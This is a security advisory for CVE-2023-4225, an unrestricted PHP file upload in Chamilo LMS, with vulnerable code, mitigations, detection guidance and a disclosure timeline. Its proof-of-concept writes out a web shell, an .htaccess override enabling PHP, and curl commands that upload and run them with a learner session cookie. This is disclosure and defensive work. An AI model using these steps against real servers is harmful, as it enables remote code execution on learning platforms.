Summary
| Product | Chamilo | 
|---|---|
| Vendor | Chamilo | 
| Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. | 
| Affected Versions | <= v1.11.24 | 
| Tested Versions | v1.11.24 (latest version as of writing) | 
| CVE Identifier | CVE-2023-4225 | 
| CVE Description | Unrestricted file upload in /main/inc/ajax/exercise.ajax.php in Chamilo LMS <= v1.11.24 allows authenticated attackers with learner role to obtain remote code execution via uploading of PHP files. | 
| CWE Classification(s) | CWE-434: Unrestricted Upload of File with Dangerous Type | 
| CAPEC Classification(s) | CAPEC-650: Upload a Web Shell to a Web Server | 
CVSS3.1 Scoring System
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | 
|---|---|
| Attack Vector (AV) | Network | 
| Attack Complexity (AC) | Low | 
| Privileges Required (PR) | Low | 
| User Interaction (UI) | None | 
| Scope (S) | Unchanged | 
| Confidentiality (C) | High | 
| Integrity (I) | High | 
| Availability (A) | High | 
Product Overview
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
Vulnerability Summary
The largely-identical file upload chunking implementation used by main/inc/ajax/document.ajax.php, main/inc/ajax/dropbox.ajax.php, main/inc/ajax/exercise.ajax.php and main/inc/ajax/work.ajax.php does not impose any restrictions on the uploaded file. The uploaded file is written into SYS_ARCHIVE_PATH, which defaults to /<path-to-webroot>/app/cache. Although there is a .htaccess file present in /<path-to-webroot>/app/cache, it can be overwritten to permit execution of PHP files.
Consequently, an authenticated attacker with learner role may exploit these vulnerabilities to perform stored cross-site scripting attacks, as well as obtain remote code execution, via uploading of PHP files.
Note: This advisory details the third file upload vulnerability in main/inc/ajax/exercise.ajax.php (CVE-2023-4225). The advisories for the other 3 vulnerabilites can be found here – CVE-2023-4223, CVE-2023-4224 and CVE-2023-4226.
Vulnerability Details
The vulnerable portion of /main/inc/ajax/exercise.ajax.php is shown below:
...
$action = $_REQUEST['a'];
...
switch ($action) {
    ...
    case 'upload_file':
        api_block_anonymous_users();
        if (isset($_REQUEST['chunkAction']) && 'send' === $_REQUEST['chunkAction']) {
            // It uploads the files in chunks
            if (!empty($_FILES)) {
                $tempDirectory = api_get_path(SYS_ARCHIVE_PATH); // [1]
                $files = $_FILES['files'];
                $fileList = [];
                foreach ($files as $name => $array) {
                    $counter = 0;
                    foreach ($array as $data) {
                        $fileList[$counter][$name] = $data;
                        $counter++;
                    }
                }
                if (!empty($fileList)) {
                    foreach ($fileList as $n => $file) {
                        $tmpFile = $tempDirectory.$file['name']; // [2]
                        file_put_contents(                       // [3]
                            $tmpFile,
                            fopen($file['tmp_name'], 'r'),
                            FILE_APPEND
                        );
                    }
                }
            }
            ...
        }
        ...
    ...
}
exit;
At [1], $tempDirectory is set to /<path-to-webroot/app/cache. At [2], the user-supplied filename is used in constructing the destination filepath relative to $tempDirectory.
At [3], the uploaded file is saved into the /app/cache directory of the web root using the user-supplied filename. Since /app/cache is meant to be writable by the webserver, it is possible to append to the /<path-to-webroot>/app/cache/.htaccess to enable PHP execution.
Consequently, an attacker with learner role can simply upload a PHP web shell to obtain authenticated remote code execution.
Exploit Conditions
An attacker with learner role with access view a course, even if the user is not subscribed to the course, is expected to be able to execute this exploit scenario reliably.
Proof-of-Concept
- Ensure that a course named 
testwithOpenvisibility (access permitted by all users registered on the platform) is created. - Log in to an account with learner role and note down the value of the 
ch_sidsession cookie. - On the attacker’s machine, run the following commands to create the necessary files for the exploit:
 
   $ echo '<?php system("id"); ?>' > rce.php
   $ cat << 'EOF' > .htaccess
   php_flag engine on
   AcceptPathInfo on
   <FilesMatch ".+">
       order allow,deny
       allow from all
   </FilesMatch>
   EOF
- Run the following shell commands on the attacker’s machine to upload the PHP web shell to the victim target:
$ curl -s -b 'ch_sid=<ch_sid_value>' 'http://<chamilo>/main/exercise/exercise.php?cidReq=TEST' $ curl -b 'ch_sid=<ch_sid_value>' -F 'files[0][email protected]' -F 'files[1][email protected]' 'http://<chamilo>/main/inc/ajax/exercise.ajax.php?a=upload_answer&chunkAction=send' - Run the following command to execute the PHP web shell:
$ curl http://<chamilo>/app/cache/rce.php/ uid=33(www-data) gid=33(www-data) groups=33(www-data) - Observe that the 
idshell command is successfully executed, confirming the unrestricted file upload vulnerability. 
Suggested Mitigations
Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.
For example:
    ...
    foreach ($fileList as $n => $file) {
-       $tmpFile = $tempDirectory.$file['name'];
+       $sanitizedFileName = $disable_dangerous_file(
+           api_replace_dangerous_char($file['name'])
+       );
+       $tmpFile = $tempDirectory.$sanitizedFileName;
        file_put_contents(
            $tmpFile,
            fopen($file['tmp_name'], 'r'),
            FILE_APPEND
        );
    }
    ...
However, note that disable_dangerous_file() only prevents PHP and .htaccess files, and do not prevent uploading of HTML files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML file.
It is therefore recommended to enhance the implementation of disable_dangerous_file() in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML files.
Lastly, it is advised to add the following rules to the default .htaccess file:
# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions 
Header always set X-Content-Type-Options nosniff
End users are encouraged to update to the latest version of Chamilo.
Detection Guidance
It is possible to detect the exploitation of this vulnerability by:
- checking the server’s access logs for all requests made to 
/main/inc/ajax/exercise.ajax.php, - checking the server’s access logs for all requests made to 
/app/cache/*, and - checking 
/app/cache/directory for presence of modified.htaccessorPHPfiles. 
Credits
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline
- 2023-09-04 Vendor Disclosure
 - 2023-09-06 Initial Vendor Contact
 - 2023-09-12 Sent additional information to vendor regarding incomplete fixes found
 - 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
 - 2023-09-29 Vendor published the vulnerability sumamry
 - 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
 - 2023-11-28 Public Release